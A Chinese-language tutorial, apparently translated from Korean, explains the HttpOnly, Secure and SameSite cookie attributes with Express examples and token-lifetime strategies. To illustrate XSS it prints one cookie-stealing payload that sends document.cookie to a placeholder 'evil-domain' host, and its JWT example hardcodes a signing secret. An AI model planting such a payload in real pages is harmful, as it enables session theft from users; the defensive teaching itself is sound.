在网络开发中,cookie 是存储用户数据和管理会话的重要工具。但是,如果管理不安全,cookie 可能会带来安全风险,这也是 cookie 具有 HttpOnly、Secure 和 SameSite 等属性的原因。
在本文中,我们将解释这三个属性的作用和重要性,并举例说明如何设置它们。
HttpOnly 属性
HttpOnly
该属性限制客户端脚本访问 cookie。设置该属性后,Cookie 只能通过 HTTP/HTTPS 请求发送到服务器。
服务器设置示例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });
标头设置如下
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly
客户端脚本可通过以下方式访问通用 cookie
// Set-Cookie: normalCookie=thisisvisible; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"
但是,客户端脚本无法访问具有 HttpOnly 设置的 cookie。
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnly 쿠키는 보이지 않음)
使用 HttpOnly 防止 XSS
网络上大量使用 Cookie 来验证用户会话。跨站脚本 (XSS) 攻击可通过向网站注入恶意脚本来窃取用户的 Cookie(如会话 ID)。
例如,恶意用户可以执行以下脚本。
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
启用 HttpOnly 后,由于攻击者无法使用 JavaScript 访问 cookie,因此可以减少会话劫持等威胁。
安全属性
虽然 HttpOnly 阻止了客户端的访问,但在通过 HTTP 通信时,仍可通过中间人攻击劫持 cookie。Secure 属性可确保只通过加密的 HTTPS 连接发送 cookie,从而降低这种风险。
服务器设置示例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });
标头设置如下
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure
⚠️ 注意
Secure
属性并不对 cookie 本身进行加密,而只是限制通过加密连接(HTTPS)发送。 因此,即使设置了 "安全",建议也不要将敏感信息(密码、信用卡、个人身份信息等)放在 cookie 中。此选项并非万无一失。
同一站点属性
SameSite
属性控制如何通过跨站请求发送 cookie。这有助于防止跨站请求伪造(CSRF)攻击和不必要的信息泄露。在撰写本文时(2025 年 4 月),该属性是一项试验性功能,尚未被所有浏览器支持。
服务器设置示例
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // 기본값(Chrome 80+)
标头设置如下
Set-Cookie: sessionId=sanghyeon; SameSite=Lax
工作原理
SameSite
属性决定了 cookie 可以包含在哪种请求中(同站请求还是跨站请求)。它可以有三种值,如下所示
Strict
最严格的设置。Cookie 只包含在与当前网站源于同一站点的请求中(同站点)。对于来自外部网站的请求,如点击其他网站的链接,不会发送 Cookie。Lax
(默认):Strict
稍微宽松的设置。默认情况下,它的行为与Strict
相同,但会在 GET 请求和点击外部链接进入网站时发送 Cookie。None
同站点:同站点和跨站点请求都会发送 Cookie。不过,要使用SameSite=None
,还必须设置Secure
属性,这意味着它只适用于 HTTPS 连接。这主要是在需要跨站点使用 cookie 时需要,例如与外部服务集成或跟踪广告。
用于身份验证的 Cookie 管理策略
1. 双重 Cookie 策略:确保安全性和可访问性
如果您需要在浏览器中访问 cookie,但安全性也很重要,您可以使用一种使用两种 cookie 的策略。
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
isLoggedIn: true,
username: '사용자명',
role: '사용자'
}));
- 使用 HttpOnly cookie 保护用于实际身份验证的令牌
- 使用普通 cookie 允许 JavaScript 访问用户界面所需的信息。
2. 安全使用 JWT 和 Cookie
与本地存储相比,将 JWT 存储在 HttpOnly cookie 中更为安全。
javascript
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1시간
});
3. 令牌寿命管理和刷新策略
有些策略结合使用短期访问令牌和长期刷新令牌,以提高安全性。
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000 // 15분
});
// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7일
});
- 访问令牌会在短时间内过期,即使它们被泄露。
- 将刷新令牌限制在特定的应用程序接口路径上,以最大限度地降低风险
- 定期更新令牌可提高安全性
总结
在网络上,cookie 对于用户身份验证和会话管理至关重要。正如您在本文中所看到的,正确使用 HttpOnly、Secure 和 SameSite 属性可以防止各种攻击,包括 XSS、CSRF 和会话劫持。
作为网络开发人员,您有责任保护用户的数据和隐私。了解 cookie 的安全属性并正确使用它们!